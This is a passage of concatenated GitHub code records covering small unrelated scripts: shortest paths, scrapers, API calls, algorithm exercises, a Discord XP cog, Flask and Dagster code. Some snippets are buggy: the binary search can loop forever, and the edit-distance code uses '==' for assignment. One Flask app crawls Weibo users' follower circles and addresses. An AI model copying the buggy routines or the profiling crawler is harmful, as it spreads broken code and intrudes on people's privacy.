stdin.readline().split())\ndikjstra(s)\nprint(dist[t])\n\n\n","repo_name":"lookinmin/CodingTest","sub_path":"최단경로/BOJ_14284.py","file_name":"BOJ_14284.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44274317571","text":"import requests\nfrom bs4 import BeautifulSoup\nimport sys\n\n# \n\nheaders = {\n\t\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\",\n\t\"Host\": \"wall.alphacoders.com\",\n\t\"Origin\": \"https://wall.alphacoders.com\",\n}\n\nhome_url = \"https://wall.alphacoders.com/\"\n\n\ndef getDownLink(wallpaper_id, _type, server, user_id):\n\turl = \"https://wall.alphacoders.com/get_download_link.php\"\n\tdata = {\n\t\t\"wallpaper_id\": wallpaper_id,\n\t\t\"type\": _type,\n\t\t\"server\": server,\n\t\t\"user_id\": user_id,\n\t}\n\n\tresp = requests.post(url, data=data, headers=headers)\n\tif resp.status_code != 200:\n\t\tprint(\"get download link failed.\")\n\t\tsys.exit()\n\n\treturn resp.text\n\ndef parse(body):\n\tsoup = BeautifulSoup(body, \"html.parser\")\n\tcontainers = soup.findAll(\"div\", attrs={\"class\":\"thumb-container-big\"})\n\n\threfs = []\n\n\tfor container in containers:\n\t\thref = container.find(\"div\", attrs={\"class\":\"boxgrid\"}).find(\"a\").get('href')\n\t\threfs.append(home_url + href)\n\n\tif len(hrefs) > 0:\n\t\treturn hrefs\n\treturn None\n\n\ndef alphacoders(page):\n\turl = \"https://wall.alphacoders.com/search.php?search=girl&page={}\".format(page)\n\tresp = requests.get(url, headers=headers)\n\tif resp.status_code != 200:\n\t\tprint(\"request error.\")\n\t\tsys.exit()\n\threfs = parse(resp.text)\n\tif hrefs == None:\n\t\tsys.exit()\n#\n\tfor href in hrefs:\n\t\tresp2 = requests.get(href, headers=headers)\n\n\t\tsoup = BeautifulSoup(resp2.text, \"html.parser\")\n\t\tdwnbtn = soup.find(\"span\", attrs={\"class\":\"download-button\"})\n\t\tdata_id = dwnbtn.get('data-id')\n\t\tdata_type = dwnbtn.get('data-type')\n\t\tdata_server = dwnbtn.get('data-server')\n\t\tdata_user_id= dwnbtn.get('data-user-id')\n\n\t\tlink = getDownLink(data_id, data_type, data_server, data_user_id)\n\t\tprint(link)\n\n\nif __name__ == \"__main__\":\n\talphacoders(1)\n","repo_name":"ZCKun/Crawler","sub_path":"alphacoders.py","file_name":"alphacoders.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"33335957123","text":"import requests\nimport pandas as pd\nimport os\n\ndef get_overview(sym):\n with open('data/apikey.txt') as f:\n apikey=f.read()\n link=f'https://www.alphavantage.co/query?function=OVERVIEW&symbol={sym}&apikey={apikey}'\n # print(link)\n data=requests.get(link)\n data=data.json()\n data_df=pd.DataFrame.from_dict(data,orient='index').T\n return data_df\n\ndef get_ps_ratio(sym):\n data=pd.read_csv(f'data/overview_{sym}.csv')\n print(data.T)\n\nwith open('data/apikey.txt') as f:\n apikey=f.read()\nsym='APTV'\nprint(f'https://www.alphavantage.co/query?function=OVERVIEW&symbol={sym}&apikey={apikey}')\n# data=get_overview(sym)\n# data.to_csv(f'data/overview_{sym}.csv',index=False)\nget_ps_ratio(sym)","repo_name":"siewhz/github-upload","sub_path":"calc_ps_ratio.py","file_name":"calc_ps_ratio.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43038878757","text":"bit_end = 2**21 + 10\nbit_data = [0] * (bit_end+10)\nA = [-1] * (bit_end+10)\nmod = 2**20\n\ndef add(pos, x):\n pos += 1\n while pos <= bit_end:\n bit_data[pos] += x\n pos += (pos & -pos)\n\ndef get_sum(pos):\n ret = 0\n pos += 1\n while pos > 0:\n ret += bit_data[pos]\n pos -= (pos & -pos)\n return ret\n\ndef main():\n for i in range(bit_end):\n add(i, 1)\n\n q = int(input())\n ans_list = []\n for _ in range(q):\n t, x = map(int, input().split())\n if t == 1:\n xx = x\n x %= mod\n val = get_sum(x-1)\n # get_sum(y) > valとなるyで最小のものを求める\n ok = bit_end\n ng = -1\n while ok-ng > 1:\n mid = (ok+ng) // 2\n if get_sum(mid) > val:\n ok = mid\n else:\n ng = mid\n # このときのokが、更新したい最小のインデックス\n ok %= mod\n add(ok, -1)\n add(ok+mod, -1)\n # print('test', val, ok, xx)\n A[ok] = xx\n else:\n x %= mod\n ans = A[x]\n ans_list.append(ans)\n\n print(*ans_list, sep='\\n')\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/abc228_d.py","file_name":"abc228_d.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17600535807","text":"__doc__ = '''Extend of microbit module\r\nseveral timing functions\r\n\r\nExtension of microbit:\r\n- method\r\n-- microbit.running_time\r\n-- microbit.sleep\r\n'''\r\n__all__ = ['sleep', 'running_time']\r\n\r\nfrom time import sleep as _sleep, perf_counter as _time\r\n\r\n\r\ndef sleep(ms):\r\n '''Wait for n milliseconds.'''\r\n _sleep(ms / 1000) # turn into seconds\r\n\r\n\r\n_init_time = _time()\r\n\r\n\r\ndef running_time():\r\n '''Return the number of milliseconds since the board was switched on or\r\n restarted.'''\r\n return (_time() - _init_time) * 1000\r\n","repo_name":"YukkuriC/microTk","sub_path":"microbit/_timebase.py","file_name":"_timebase.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"25908703200","text":"def binary_search(list, data):\n left = 0\n right = len(list) - 1\n found = False\n\n while left <= right and not found:\n mid_point = (left + right) // 2\n if list[mid_point] == data:\n found = True\n break\n else:\n if data < list[mid_point]:\n right = mid_point\n else:\n left = mid_point\n\n return found\n\n\na = [4, 12, 32, 32, 55, 67, 225, 97]\na.sort()\nprint(binary_search(a, 97))\n","repo_name":"spiderxm/python-programs","sub_path":"BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"31239680466","text":"# basic converter between F to C or F to C\n# takes in user input for conversion type,\n# than the current temperature\n\ndef convertTemp(value, type):\n if ((type == \"C\") or (type == \"c\")):\n print(f\"converting F -> C...\")\n conversion = (value - 32) * 5/9\n print(f\"{value}F -> {round(conversion, 4)}C\")\n else:\n print(f\"converting C -> F...\")\n conversion = (value * 9/5) + 32\n print(f\"{value}C -> {round(conversion, 4)}F\")\n\n\n\ndef main():\n # get what conversion they want to make\n type = input(\"Convert to F or C?: \")\n while ((type != \"C\") and (type != \"c\") and (type != \"F\") and (type != \"f\")):\n print(f\"{type} is not a valid input, use F or C...\")\n type = input(\"Convert to F or C?: \")\n # we have a correct input, get value\n while True:\n try:\n value = float(input(\"What is your current temperature?: \"))\n break\n except:\n print(\"not a valid type, try again...\")\n # convert\n convertTemp(value, type)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sapling10/learning-python","sub_path":"projects/1-temp-converter.py","file_name":"1-temp-converter.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74319719414","text":"import tkinter as tk\nfrom tkinter import ttk\n\nfrom chemlib import Element\nfrom chemlib import Compound\n\n# boron = Element('B')\n# print(boron.properties)\n# print(boron.AtomicMass)\n# ftor = Element('F')\n# print(ftor.properties)\n# acetic_acid = Compound('CH3COOH')\n# print(acetic_acid)\n# alkohol = Compound('C2H5OH')\n# print(alkohol)\n# print(alkohol.molar_mass())\n\n\nclass GUI:\n def __init__(self, pressing):\n self.pressing = pressing\n\n self.background_color = 'white'\n self.OPERATIONS = [\n 'g/L to mol/L', 'mol/L to g/L',\n 'g/L to % in 100 ml', '% in 100 ml to g/L',\n 'mol/L to % in 100 ml', '% in 100 ml to mol/L',\n 'g/mol to M in solution']\n\n self.create_frames()\n self.create_buttons()\n\n def create_frames(self):\n self.window = tk.Tk()\n self.window.geometry('500x405')\n self.window.title('Chemistry calculator')\n self.window.configure(background=self.background_color)\n self.welcome_frame = tk.Label(self.window, text='Welcome to chemistry calculator',\n height=2, width=62)\n self.welcome_frame.grid(column=0, row=0)\n self.common_frame = tk.Frame(self.window)\n self.common_frame.grid(column=0, row=1, sticky=tk.NSEW)\n self.text_frame_convert = tk.Label(self.common_frame, text='Convert: ',\n height=2, width=25)\n self.text_frame_convert.grid(column=0, row=1, sticky=tk.W)\n self.text_frame_for_formula = tk.Entry(self.common_frame)\n self.text_frame_for_formula.grid(column=2, row=0, sticky=tk.E)\n # добивить текст(или не здесь)\n self.frame_for_convert = tk.Text(self.common_frame, height=2, width=35)\n self.frame_for_convert.grid(column=2, row=1, sticky=tk.E)\n self.frame_for_history = tk.Text(\n self.common_frame, height=15, width=35)\n self.frame_for_history.grid(column=2, row=3, rowspan=7, sticky=tk.E)\n\n def create_buttons(self):\n self.molar_mass_button = tk.Button(self.common_frame, command=self.pressing('molar mass'),\n text='Calculate molar mass', height=1, width=15)\n self.molar_mass_button.grid(column=0, row=0, sticky=tk.W)\n row_index = 1\n for operation in self.OPERATIONS:\n row_index = row_index + 1\n self.buttons = tk.Button(self.common_frame, text=operation,\n command=self.pressing(operation), height=1, width=15)\n self.buttons.grid(column=0, row=row_index, sticky=tk.W)\n self.convert_button = tk.Button(self.common_frame, text='Convert',\n command=self.pressing('Convert'), height=1, width=10)\n self.convert_button.grid(column=2, row=2, sticky=tk.E)\n\n def update_history(self, result):\n history = '\\n'.join(result)\n self.frame_for_history.delete('1.0', tk.END)\n self.frame_for_history.insert(tk.END, history)\n\n def show(self):\n self.window.mainloop()\n\n\nclass Calculator:\n def __init__(self):\n self.last_operation = ''\n self.history = []\n self.gui = GUI(self.pressing)\n self.gui.show()\n\n def add_history_item(self, action, formula, output, input=None):\n item = {'action': action, 'formula': formula,\n 'input': input, 'output': output}\n self.history.append(item)\n formated_history = []\n for elem in self.history:\n if elem['input'] is None:\n formated_history.append( elem['formula'] + ': ' + '\\n' + elem['action'] + str(elem['output']))\n else:\n formated_history.append( elem['formula'] + ': ' + '\\n' + elem['action'] + str(elem['output']), str(elem['input'])) \n self.gui.update_history(formated_history)\n\n def molar_mass(self):\n self.compound = Compound(self.gui.text_frame_for_formula.get())\n self.molar_massa = self.compound.molar_mass()\n return self.molar_massa\n\n def pressing(self, button_type: str):\n def press_button():\n if button_type == 'molar mass':\n self.molar_mass()\n print(self.compound, '\\n', self.compound.molar_mass())\n self.add_history_item(\n button_type, self.compound.formula, self.compound.molar_mass())\n if button_type in self.gui.OPERATIONS:\n self.gui.frame_for_convert.insert(tk.END, button_type)\n self.gui.text_frame_for_formula.insert(\n tk.END, 'Enter the chemical formula')\n self.last_operation = button_type\n if button_type == 'Convert':\n if self.last_operation == 'g/L to mol/L':\n massa = float(self.molar_mass())\n gramm = float(self.gui.frame_for_convert.get('1.0', 'end'))\n result = gramm / massa\n print(result)\n print(self.history)\n return press_button\n\n\ncalc = Calculator()\n","repo_name":"colyk/chem_calculator","sub_path":"first_file.py","file_name":"first_file.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5943937377","text":"'''write a program for a input of two strings X and Y, find the minimum number of steps required to convert X to Y. '''\n\n# For find the minimum possibility for convert string x to y\n\ndef minimum_step(x, y):\n m, n = len(x), len(y)\n\n # creating 2D matrix, m for rows and n for columns\n dp = [[0] * (n + 1) for _ in range(m + 1)]\n for i in range(m + 1):\n for j in range(n + 1):\n # check condition if 0\n if i == 0:\n dp[i][j] = j\n elif j == 0:\n dp[i][j] == i\n\n # if both character are same then copy them\n elif x[i -1] == y[j -1]:\n dp[i][j] = dp[i -1][j -1]\n\n # if the character are not same or zero then check the minimum possibility of insert, remove & replace\n else:\n dp[i][j] = 1 + min(dp[i-1][j], dp[i][j -1], dp[i -1][j -1])\n\n # this return minimum possibility for convert string\n return dp[m][n]\n\n# Take input from user\nx = input(\"Enter the first string: \") \ny = input(\"Enter the second string: \")\n\n# print the result\nresult = minimum_step(x, y)\nprint(\"Minimum steps required: \",result)","repo_name":"rahulpra10/library_management","sub_path":"Task.py","file_name":"Task.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41436975591","text":"from django.conf.urls import url\nfrom SLCapp import views\n\nurlpatterns = [\n url(r'^$', views.home, name='home'),\n url(r'^login/$', views.user_login, name='login'),\n url(r'^logout/$', views.user_logout, name='logout'),\n url(r'^signup/$', views.signup, name='signup'),\n url(r'^chat/$', views.chat, name='chat'),\n url(r'^signupimage/$', views.signup_image, name='signupimage')\n \n]\n","repo_name":"Iain530/-Team_Name-","sub_path":"SLC webapp/SLC/SLCapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26649859900","text":"from ..responses import Send, CommandError, Error\nfrom ..command import register_command, decorate_command\nfrom ..token import OneValueToken, SpecialString\nfrom .... import Game\nfrom .. import clr\n\n_allow_exec = True\n\ncancel_worlds = (\"quit\", \"x\")\nrun_worlds = (\"\", \"run\", \"ok\")\nspecials_worlds = cancel_worlds + run_worlds\n\nbuiltins = __builtins__.copy()\nbuiltins[\"open\"] = None\nbuiltins[\"__import__\"] = None\n@register_command\n@decorate_command(name=\"exec\", nb_params=1)\ndef exec_command(data, *, game: Game):\n if not _allow_exec:\n raise CommandError(\"You can't use the exec command because of the settings\")\n if isinstance(data, SpecialString):\n to_exec = data.value\n elif isinstance(data, OneValueToken):\n to_exec = data.base_value\n else:\n to_exec = str(data)\n\n to_send = []\n\n def custom_print(*args, sep=\" \", end=\"\\n\"):\n text = sep.join(map(str, args)) + end\n to_send.append(text)\n\n execs_globals = {\n \"__builtins__\": builtins,\n \"player\": game.player,\n \"game\": game,\n \"map\": game.map,\n \"sc_deco\": game.sc_deco,\n \"print\": custom_print,\n }\n if to_exec.strip() == \">\":\n to_exec = \"\"\n line = yield Send(\"Enter your code, \"\n \"\\ntype 'quit' or 'X' to cancel, \"\n \"\\n'run', 'ok' or an empty line to run\", name='Exec')\n line = line.strip()\n while line not in specials_worlds:\n to_exec += line + \"\\n\"\n line = yield\n line = line.rstrip()\n text = \"\"\n result = \"\"\n try:\n try:\n result = eval(to_exec, execs_globals)\n except SyntaxError:\n exec(to_exec, execs_globals)\n except Exception as e:\n if to_send:\n text += \"\".join(to_send) + \"§r\"\n text += f\"{clr:red}({e.__class__.__name__}){e}\"\n else:\n if to_send:\n text += \"\".join(to_send) + \"§r\"\n text += str(result)\n raise Send(text, name=\"Exec\")\n","repo_name":"AlphaNow37/PyCraft","sub_path":"code_src/chat/command/commands/exec.py","file_name":"exec.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"14057908201","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom typing import List\n\nfrom googlecloudsdk.api_lib.run.integrations import types_utils\nfrom googlecloudsdk.command_lib.run.integrations.typekits import base\nfrom googlecloudsdk.generated_clients.apis.runapps.v1alpha1 import runapps_v1alpha1_messages as runapps\n\n\n_EDGE_FORMAT = ' \"{edge_source}\":n -> \"{edge_dest}\":n;'\n_LABEL_FORMAT = '{type} | {name}'\n\n\ndef GenerateBindingGraph(bindings: List[base.BindingData], name: str):\n \"\"\"Produce graph of the given bindings.\n\n Args:\n bindings: the list of bindings.\n name: name of the graph\n\n Yields:\n the binding graph in DOT format.\n \"\"\"\n yield 'strict digraph {graph_name} {{'.format(graph_name=name)\n yield ' node [style=\"filled\" shape=Mrecord penwidth=2]'\n yield ' rankdir=LR'\n yield '\\n'\n\n in_counter = {}\n out_counter = {}\n ids = {}\n # Edges\n for binding in bindings:\n source_id = binding.from_id\n dest_id = binding.to_id\n ids[_NodeName(source_id)] = source_id\n ids[_NodeName(dest_id)] = dest_id\n _CountType(out_counter, source_id)\n _CountType(in_counter, dest_id)\n yield _GraphvizEdge(source_id, dest_id)\n yield '\\n'\n # Node styles\n for name in ids:\n res_id = ids[name]\n in_count = in_counter.get(res_id.type, 0)\n out_count = out_counter.get(res_id.type, 0)\n yield _GraphvizNode(res_id, in_count, out_count)\n\n # End the graph.\n yield '}'\n\n\ndef _CountType(counter, res_id):\n counter[res_id.type] = counter.get(res_id.type, 0) + 1\n\n\ndef _GraphvizEdge(from_id, to_id):\n return _EDGE_FORMAT.format(\n edge_source=_NodeName(from_id),\n edge_dest=_NodeName(to_id),\n )\n\n\ndef _GraphvizNode(\n res_id: runapps.ResourceID, in_count: int, out_count: int\n) -> str:\n \"\"\"Style for the node.\n\n Args:\n res_id: resource ID of the node\n in_count: number of bindings going into this node\n out_count: number of bindings coming out of this node\n\n Returns:\n node style code in DOT\n \"\"\"\n ingress = in_count == 0 and out_count > 0\n backing = out_count == 0 and in_count > 0\n # All colors are from go/gcolors\n if ingress:\n color = '#e37400' # Google Yellow 900\n fillcolor = '#fdd663' # Google Yellow 300\n elif backing:\n color = '#0d652d' # Google Green 900\n fillcolor = '#81c995' # Google Green 300\n else:\n color = '#174ea6' # Google Blue 900\n fillcolor = '#8ab4f8' # Google Blue 300\n return (\n ' \"{}\" [label=\"{}\" color=\"{}\" fillcolor=\"{}\"]'.format(\n _NodeName(res_id), _NodeLabel(res_id), color, fillcolor\n )\n )\n\n\ndef _NodeName(res_id: runapps.ResourceID) -> str:\n return '{}/{}'.format(res_id.type, res_id.name)\n\n\ndef _NodeLabel(res_id: runapps.ResourceID) -> str:\n type_metadata = types_utils.GetTypeMetadataByResourceType(res_id.type)\n type_name = res_id.type.capitalize()\n if type_metadata and type_metadata.label:\n type_name = type_metadata.label\n return _LABEL_FORMAT.format(type=type_name, name=res_id.name)\n","repo_name":"Flank/gcloud_cli","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/run/integrations/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"74245175412","text":"import spider\r\nimport json\r\nfrom configparser import ConfigParser\r\nfrom flask import Flask,request\r\napp = Flask(__name__)\r\n\r\n\r\ncfg = ConfigParser()\r\ncfg.read('.env')\r\nusername = cfg.get('account','username')\r\npassword = cfg.get('account','password')\r\ncount_limit = int(cfg.get('other','count-limit'))\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return 'Hello, World!'\r\n\r\n@app.route('/api/uid/', methods=['GET'])\r\ndef user_profile(uid):\r\n uid = uid.strip()\r\n if not uid:\r\n return json.dumps({\r\n 'msg': 'uid is required'\r\n }),400\r\n\r\n s = spider.start_session()\r\n user = spider.profile(s, uid)\r\n\r\n if 'uid' not in user.keys():\r\n return json.dumps({\r\n 'msg': 'user uid {} not exist'.format(uid)\r\n }),404\r\n\r\n if int(user['fans_count']) > count_limit or int(user['follow_count']) > count_limit:\r\n return json.dumps({\r\n 'msg': 'user fans({}) or follows({}) count limit exceed'.format(user['fans_count'], int(user['follow_count']))\r\n }),403\r\n\r\n res = spider.crawl(s, uid)\r\n with_addr = request.args.get('with_addr', '')\r\n\r\n if with_addr and int(with_addr) is 1:\r\n res = spider.with_addr(s, res)\r\n\r\n return json.dumps({\r\n 'user': user,\r\n 'circle': res\r\n }),200\r\n\r\n\r\n\r\n@app.route('/api/name/', methods=['GET'])\r\ndef search_user(name):\r\n name = name.strip()\r\n if not name:\r\n return json.dumps({\r\n 'msg': 'name is required'\r\n }),400\r\n\r\n s = spider.start_session()\r\n res = spider.search_by_name(s, name)\r\n with_addr = request.args.get('with_addr', '')\r\n\r\n if with_addr and int(with_addr) is 1:\r\n res = spider.with_addr(s, res)\r\n\r\n if len(res) < 1:\r\n return json.dumps({\r\n 'msg': 'empty result'\r\n }),404\r\n\r\n return json.dumps(res),200","repo_name":"Deadalusmask/WBzz-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27625412694","text":"def knapsack(max_weight, weights, values, n):\r\n cache = [[0 for _ in range(max_weight+1)] for _ in range(n+1)]\r\n # i iterates over values\r\n for i in range(n + 1):\r\n # j iterates over different max weight values\r\n for j in range(max_weight + 1):\r\n if i == 0 or j == 0:\r\n cache[i][j] = 0\r\n elif j >= weights[i-1]:\r\n cache[i][j] = max(cache[i-1][j - weights[i - 1]] + values[i - 1], cache[i - 1][j])\r\n else:\r\n cache[i][j] = cache[i-1][j]\r\n return cache[i][j]\r\n\r\n\r\nif __name__ == '__main__':\r\n val = [50, 100, 150, 200]\r\n wt = [8, 16, 32, 40]\r\n W = 64\r\n n = len(val)\r\n print(knapsack(W, wt, val, n))","repo_name":"AvivSham/LeetCodeQ","sub_path":"Medium/Knapsack.py","file_name":"Knapsack.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12855273591","text":"import tornado.ioloop\nimport tornado.web\nimport os.path\nimport time\nfrom collections import Counter\n\n\nclass MainHandler(tornado.web.RequestHandler):\n \"\"\"\n Main handler for homepage. Handles both get and post.\n \"\"\"\n def post(self):\n #get the post data\n input_text = self.get_argument(\"text\")\n #use the Counter collection to get the list of word frequencies\n word_list = Counter(input_text.split()).most_common()\n #write the list to the response\n self.write({\"word_list\": word_list}) \n \n def get(self):\n self.render(\"index.html\") \n\n\ndef main():\n \"\"\"\n Starting point of application. Defines and start it.\n \"\"\"\n #set the template handlers\n application = tornado.web.Application([\n (r'/(favicon.ico)', tornado.web.StaticFileHandler, {\"path\": \"/favicon.ico\"}),\n (r\"/\", MainHandler),\n ],\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),)\n \n #start the application on port 8888\n application.listen(8888)\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"NickTiut/monkey_inferno","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73142206131","text":"import discord\nimport random\nimport datetime\nfrom discord.ext import commands\nfrom Saber.SaberCore import BOT_PREFIX, IGNORED_CHANNELS, XP_LOGS_CHANNEL, SECONDARY_COLOR\nfrom Saber.Utils.Sql.Functions.MainFunctionality import *\n\n\nclass EventsLevels(commands.Cog, name='Уровни'):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n @commands.guild_only()\n async def on_message(self, msg):\n msg = msg\n member = msg.author\n guild = msg.guild\n\n if guild is None:\n return\n if msg.content.startswith(BOT_PREFIX):\n return\n if member.id == self.bot.user.id:\n return\n if member.bot:\n return\n if msg.channel.name in IGNORED_CHANNELS:\n return\n\n # Подготавливаем эмбед сообщение\n temp_embed = discord.Embed(colour=SECONDARY_COLOR)\n\n # Проверяем, если пользователь лишён возможность иметь опыт\n role = discord.utils.get(msg.guild.roles, name=\"noXP\")\n if role in member.roles:\n del role\n return\n del role\n\n # Проверяем есть ли пользователь в таблице\n user = await fetch_data(msg.guild.id, 'xp', 'user', member.id)\n\n if user is None:\n await add_user(msg.guild.id, member.id)\n temp_embed.set_author(name=f\":new: {msg.author} ({msg.author.id})\", icon_url=msg.author.avatar_url)\n\n triggered_at = int(time.time())\n\n # Получаем верменную метку, когда пользователь получал опыт\n cooldown_stamp = int(await fetch_data(msg.guild.id, 'lastTimeEdited', 'user', member.id))\n\n # Если прошло недостатоно времени (90 секунд) - отменяем процесс\n if triggered_at - cooldown_stamp < 90:\n return\n\n log_chan = self.bot.get_channel(XP_LOGS_CHANNEL)\n temp_embed.set_author(name=f\"{msg.author} ({msg.author.id})\", icon_url=msg.author.avatar_url)\n\n # Получаем текущий баланс\n current_xp = await fetch_data(msg.guild.id, 'xp', 'user', member.id)\n temp_embed.add_field(name=\"Предыдущий баланс\", value=current_xp)\n\n # Генерируем бонус очков опыта\n bonus_xp = random.randint(2, 5)\n updated_xp = current_xp + bonus_xp\n\n # Добавляем очки опыта\n await update_data(msg.guild.id, 'xp', updated_xp, 'user', member.id)\n temp_embed.add_field(name=\"Добавлено очков\", value=bonus_xp)\n del bonus_xp, updated_xp, user\n\n # Изменяем данные о том, когда менялся баланс\n await update_data(msg.guild.id, 'lastTimeEdited', triggered_at, 'user', member.id)\n del triggered_at\n\n new_xp = await fetch_data(msg.guild.id, 'xp', 'user', member.id)\n temp_embed.add_field(name='Обновлённый баланс', value=new_xp)\n temp_embed.timestamp = datetime.datetime.utcnow()\n temp_embed.set_footer(text=f\"{guild.name} ({guild.id})\", icon_url=guild.icon_url)\n\n log_chan = self.bot.get_channel(XP_LOGS_CHANNEL)\n await log_chan.send(embed=temp_embed)\n\n del temp_embed\n\n\ndef setup(bot):\n bot.add_cog(EventsLevels(bot))\n","repo_name":"gragonvlad/saber","sub_path":"Saber/Cogs/EventsLevels.py","file_name":"EventsLevels.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7079160504","text":"from common.lib.servers.Pulser2.pulse_sequences.pulse_sequence import pulse_sequence\nfrom labrad.units import WithUnit as U\n\n\nclass dipole_interrogation(pulse_sequence):\n\n required_parameters = [\n ('DipoleInterrogation', 'duration'),\n ('DipoleInterrogation', 'frequency'),\n ('DipoleInterrogation', 'power'),\n ('DipoleInterrogation', 'repump_power'),\n ('DipoleInterrogation', 'interrogation_laser'),\n ('ddsDefaults', 'doppler_cooling_freq'),\n ('ddsDefaults', 'optical_pumping_freq'),\n ('ddsDefaults', 'state_detection_freq'),\n ('ddsDefaults', 'doppler_cooling_power'),\n ('ddsDefaults', 'optical_pumping_power'),\n ('ddsDefaults', 'state_detection_power'),\n ('ddsDefaults', 'repump_935_freq'),\n ('ddsDefaults', 'repump_976_freq'),\n ('ddsDefaults', 'repump_976_power'),\n ('ddsDefaults', 'DP369_freq')\n ]\n\n def sequence(self):\n p = self.parameters\n self.addDDS('369DP',\n self.start,\n p.DipoleInterrogation.duration,\n p.DipoleInterrogation.frequency,\n p.DipoleInterrogation.power)\n\n if p.DipoleInterrogation.interrogation_laser == 'DopplerCoolingSP':\n self.addDDS('DopplerCoolingSP',\n self.start,\n p.DipoleInterrogation.duration,\n p.ddsDefaults.doppler_cooling_freq,\n p.ddsDefaults.doppler_cooling_power)\n\n if p.DipoleInterrogation.interrogation_laser == 'StateDetectionSP':\n self.addDDS('StateDetectionSP',\n self.start,\n p.DipoleInterrogation.duration,\n p.ddsDefaults.state_detection_freq,\n p.ddsDefaults.state_detection_power)\n\n if p.DipoleInterrogation.interrogation_laser == 'OpticalPumpingSP':\n self.addDDS('OpticalPumpingSP',\n self.start,\n p.DipoleInterrogation.duration,\n p.ddsDefaults.optical_pumping_freq,\n p.ddsDefaults.optical_pumping_power)\n\n self.addDDS('935SP',\n self.start,\n p.DipoleInterrogation.duration,\n p.ddsDefaults.repump_935_freq,\n p.DipoleInterrogation.repump_power)\n\n self.addDDS('976SP',\n self.start,\n p.DipoleInterrogation.duration,\n p.ddsDefaults.repump_976_freq,\n p.ddsDefaults.repump_976_power)\n\n self.addTTL('TimeResolvedCount', self.start, p.DipoleInterrogation.duration)\n self.end = self.start + p.DipoleInterrogation.duration\n","repo_name":"johnpalsberg/John-Palsberg","sub_path":"QsimMaster/scripts/pulse_sequences/sub_sequences/DipoleInterrogation.py","file_name":"DipoleInterrogation.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75136561973","text":"import pandas as pd\nimport duckdb \nimport uuid \nfrom io import BytesIO\n\nfrom ...partitions import daily_dump_partition \nfrom ...configs import S3Config, DuckPondConfig\nfrom ...resources import S3, DuckPondHose\n\n\nfrom dagster import (\n multi_asset, \n asset,\n AssetIn,\n AssetOut,\n get_dagster_logger,\n)\n\n@multi_asset(outs={\"sessions_df\":AssetOut(), \"pageviews_df\":AssetOut()}, partitions_def=daily_dump_partition)\ndef get_swamp_water(context, config: S3Config, s3: S3):\n assert config.Bucket \n assert config.Key\n assert s3\n logger = get_dagster_logger()\n swamp_key = config.Key + '-' + context.partition_key + '.parquet'\n ga_dump_df = pd.read_parquet(BytesIO(s3.get_file_contents(Bucket=config.Bucket, Key=swamp_key).read()), engine='pyarrow')\n session_cols = ['channel_grouping','session_date','user_id','session_id','session_sequence_number','session_start_time','session_browser','session_os','session_is_mobile','session_device_category','session_country','session_city','session_region','session_source','session_medium','session_revenue','session_total_revenue','session_order_cnt','session_pageview_cnt','session_time_on_site','new_vs_returning','session_landing_screen','session_exit_screen']\n pageview_cols = ['user_id','session_id','session_start_time','session_pageviews']\n sessions_df = ga_dump_df[session_cols]\n pageviews_df = ga_dump_df[pageview_cols]\n logger.info(f\"Sessions DF Shape: {sessions_df.shape}\")\n logger.info(f\"Session 